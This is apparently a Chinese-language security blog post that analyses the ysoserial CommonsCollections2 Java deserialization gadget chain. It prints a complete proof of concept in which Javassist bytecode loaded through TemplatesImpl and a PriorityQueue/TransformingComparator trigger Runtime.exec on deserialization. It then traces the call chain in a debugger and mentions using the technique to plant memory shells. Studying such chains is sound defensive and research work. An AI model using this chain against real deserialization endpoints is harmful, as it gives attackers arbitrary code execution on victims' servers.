Ysoserial Commons Collections2分析
Ysoserial Commons Collections2分析
About Commons Collections2
CC2与CC1不同在于CC2用的是Commons Collections4.0;同时利用方式CC2用到了Javassist动态编程,从功能上来说CC1用于执行命令,而CC2可以任意代码执行危害更大,所以像常用的shiro打内存马也会用到CC2。
CC2 Gadget Chain
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
poc
public class cc2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault(); //获取默认类池
classPool.appendClassPath(AbstractTranslet); //末尾添加一个ClassPath
CtClass payload=classPool.makeClass("j"); //新创建一个类,类名为j
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置AbstractTranslet为该类父类
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"); //创建一个静态构造方法并将其内容设置为弹calc
byte[] bytes=payload.toBytecode(); //将该ctclass转为byte流
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); //反射创建TemplatesImpl对象
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); //反射获取属性值_bytecodes
field.setAccessible(true); //强制反射
field.set(templatesImpl,new byte[][]{bytes}); //重新设置_bytecodes的值为bytes也就是弹calc
Field field1=templatesImpl.getClass().getDeclaredField("_name"); //反射获取属性_name
field1.setAccessible(true); //强制反射
field1.set(templatesImpl,"test"); //将_name属性赋值为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
前置知识
PriorityQueue
Queue是一个(FIFO)先进先出的队列,而PriorityQueue是一个根据元素优先级出队的队列类。
构造方法
PriorityQueue(int initialCapacity)
创建具有指定初始容量的PriorityQueue ,该容量根据其natural ordering对其元素进行排序 。
常用方法
boolean add(E e)
将指定的元素插入此优先级队列。
Javassist
Javassist的默认类池搜索系统搜索路径,通常包括平台库、扩展库以及-classpath选项或CLASSPATH 环境变量指定的搜索路径 。
关于Javassist不会详细解读,没了解过Javassist的师傅也可以参考我这篇文章https://www.cnblogs.com/CoLo/p/15383642.html
Field
field.set(Object obj, Object value): 将指定对象变量上此 Field 对象表示的字段设置为指定的新值.
PoC分析
后面会把poc拆分成几部分依次过一下
首先看第一部分, 声明了两个string:AbstractTranslet,TemplatesImpl ;之后用到了javassist创建了一个类,类名为j,同时设置该类父类为AbstractTranslet并通过makeClassInitializer方法在该类中添加静态代码块,代码块内容为弹calc。
看到这里大概可以猜到后续应该会初始化该类从而触发在该类中写入的静态代码块内容去弹计算器(or 任意代码执行)。
抛出问题1: 为什么要设置父类为AbstractTranslet?
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault(); //获取默认类池
classPool.appendClassPath(AbstractTranslet); //append一个ClassPath,为后续设置父类作准备
CtClass payload=classPool.makeClass("j"); //新创建一个类,类名为j
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置AbstractTranslet为该类父类
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"); //创建一个静态代码块并将其内容设置为弹calc
这里可以添加一行代码payload.writeFile("./");将此class文件输出到当前目录看一下会比较清晰明了。

继续看第二部分。将新建的类转换为byte数组,通过反射创建TemplatesImpl实例化对象赋值给了templatesImpl,并通过反射拿到了该对象的_bytecodes并设置属性值为上面新建的类的byte数组。
抛出问题2:为什么要将上面我们新建好的类转为bytes数组再赋值给TemplatesImpl类的_bytecodes?
之后依然是反射拿到_name属性并赋值test,看起来像是随意赋值,只要_name有值即可。
抛出问题3:为什么_name属性必须要有值?
byte[] bytes=payload.toBytecode(); //将该ctclass转为byte流
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); //反射创建TemplatesImpl对象
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); //反射获取属性值_bytecodes
field.setAccessible(true); //强制反射
field.set(templatesImpl,new byte[][]{bytes}); //重新设置_bytecodes的值为bytes也就是弹calc
Field field1=templatesImpl.getClass().getDeclaredField("_name"); //反射获取属性_name
field1.setAccessible(true); //强制反射
field1.set(templatesImpl,"test"); //将_name属性赋值为test
首先切入问题2,在poc中readObject下断点跟到com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java中,看下TemplatesImpl的源码,其实打fj多的师傅应该比较熟悉TemplatesImpl,这也是打fj的payload会用到的点。
调用栈如下,最后是在com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java#defineTransletClasses方法执行的代码

先只关注TemplatesImpl部分,首先newTransformer方法在执行new TransformerImpl时调用了getTransletInstance()

进入getTransletInstance(),由于_class为null,进入defineTransletClasses方法

到这里就很清晰了,通过ClassLoader#defineClass()加载_byrecides属性值的字节流数据创建恶意类并返回给_class数组,后续会对其进行实例化,所以这也是为什么要将上面我们新建好的类转为bytes数组再赋值给TemplatesImpl类的_bytecodes而不是选择其他类或其他属性。

而关于之前第一个问题为什么要设置父类为AbstractTranslet,因为要走到下面的if判断中给_transletIndex属性重新赋值,这个属性在TemplatesImpl中默认设置为-1,而重新设置值与后面的实例化触发静态代码块中代码执行有关

回到TemplatesImpl#getTransletInstance()将一开始创建的类通过(AbstractTranslet) _class[_transletIndex].newInstance()触发代码执行,而如果_transletIndex值为-1的话应该会抛下标越界就不能正常的实例化触发静态代码块中的代码执行了。这里注意第一个if,需要_name不为null才继续往下走,所以这也是问题3为什么_name属性要设置一个值。

所以后续找到如何调用的newTransformer方法即可。poc中给的是InvokerTransformer去反射调用newTransformer的执行,其流程大致为先获取InvokerTransformer对象之后将其作为TransformingComparator构造方法的参数来实例化一个TransformingComparator对象,后续创建了一个PriorityQueue添加了两个元素。
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
后续和之前一样的操作通过反射分别给comparator和queue赋值,如下图

最后就是序列化queue对象写入test.out之后读取test.out再进行反序列化触发代码执行
抛出问题4:为什么要添加两个元素呢?
这里可以带着问题调试poc观察下
调试分析
还是在poc中readObject()处下断点,跟进到PriorityQueue#readObject(),跟进heapify()

这里是一个for循环,注意size就是我们前面设置的PriorityQueue的长度,这里做了无符号右移1位 再-1的操作。

放两张图感受下,所以这也是问题4为什么要添加两个元素的答案,如果只放一个就直接跳出for不再继续往下调用siftDown方法了

后续就比较简单了,进入siftDown方法后调用siftDownUsingComparator方法

siftDownUsingComparator方法中调用compare方法,其中x为我们弹计算器的恶意类

compare方法中调用InvokerTransformer#transform()方法

transform中反射调用com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl#newTransformer()

在其中调用了getTransletInstance()

先做了_name是否为null的判断,之后进入defineTransletClasses()方法。

在其中调用了ClassLoader#defaineClass()方法加载bytes数组生成恶意类

并判断该类父类是否为对_transletIndex重新赋值或到最后抛出异常

回到getTransletInstance()方法实例化我们的恶意类最终触发静态代码块中代码执行。


其实调试下来会发现poc的chain和yso中的不太一样,yso封装的太多,感觉不如直接调poc来的更易理解。不过yso还是要去深入理解的非常好的项目:D
PoC Chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
End
一开始看这条链头大,有些没接触到的东西且cc1也是前一段时间分析的了,没有那么的熟悉所以看起来很吃力,还是需要多调试几次。其实对于每个细节都是有说法的,需要带着问题去调试会更容易理解。
Ysoserial Commons Collections2分析的更多相关文章
- Java安全之Commons Collections2分析
Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...
- Ysoserial Commons Collections3分析
Ysoserial Commons Collections3分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...
- Ysoserial Commons Collections7分析
Ysoserial Commons Collections7分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...
- ysoserial Commons Collections2反序列化研究
Apache Commons Collections2反序列化研究 环境准备 JDK 1.7 Commons Collections 4.0 javassit 前置知识 PriorityQueue() ...
- Commons Collections2分析
0x01.POC分析 //创建一个CtClass对象的容器 ClassPool classPool=ClassPool.getDefault(); //添加AbstractTranslet的搜索路径 ...
- Java安全之Commons Collections3分析
Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...
- Java安全之Commons Collections5分析
Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...
- Java安全之Commons Collections7分析
Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...
- Java安全之Commons Collections6分析
Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...
随机推荐
- Java中除数为0的情况
转自http://blog.csdn.net/alanzyy/article/details/8591534 在数学中,规定被除数不能为0 那么在Java程序中一旦出现除数为0时,会出现什么情况呢: ...
- 并发控制--context篇
目录 1. 前言 2 Context 实现原理 2.1 接口定义 2.1 cancelCtx 2.1.1 Done()接口实现 2.1.2 Err()接口实现 2.1.3 cancel()接口实现 2 ...
- Linux·命令收藏
时间:2018-11-20 记录:byzqy 标题:Linux命令大全(手册) 地址:http://man.linuxde.net/ 标题:Linux script命令 -- 终端里的记录器 地址:h ...
- Learning ROS: Getting started with roswtf (检查ROS系统,找出问题)
本文主要部分来源于ROS官网的Tutorials. roswtf是ROS的检查工具,用于检查ROS安装和运行系统. Checking your installation&Offline mak ...
- Python - 面向对象编程 - MRO 方法搜索顺序
为什么会讲 MRO? 在讲多继承的时候:https://www.cnblogs.com/poloyy/p/15224912.html 有讲到, 当继承的多个父类拥有同名属性.方法,子类对象调用该属性. ...
- springcloud3(五) spring cloud gateway动态路由的四类实现方式
写这篇博客主要是为了汇总下动态路由的多种实现方式,没有好坏之分,任何的方案都是依赖业务场景需求的,现在网上实现方式主要有: 基于Nacos, 基于数据库(PosgreSQL/Redis), 基于Mem ...
- JS009. 数组去重的多种方法总结与一步步优化
两层for循环 这种函数的优点是兼容性好比较通用,缺点是时空复杂度都很直观的为O(n2),不利于维护和性能. var array = [1,1,'1','1'] function unique(arr ...
- 整合ehcache缓存
一.分布式集群,多态服务器相同的代码,均衡压力: 二. 1.导包,ehcache适用mybatis的jar包: 2.映射配置文件中配置: 3.ehcache配置文件 4.使用代码和mybatis自带的 ...
- JDBC基础和使用
内存泄漏意思就是内存越来越少了,因为垃圾太多: 线程泄露就是线程池中线程越来越少,执行过程中异常,没有返回给线程池,线程池中线程越来越少: 一.概念 二.快速入门 三.JDBC各个类详解 1.driv ...
- 比年轻更年轻,快看能否接棒B站?
撰文 |懂懂 编辑 | 秦言 来源:懂懂笔记 背靠超新Z世代,快看能否接棒B站? 国漫什么时候能追上日漫? 国漫作者真能挣到钱吗? 国漫什么时候才能走向世界? 这是中国漫画从业者的"灵魂三问 ...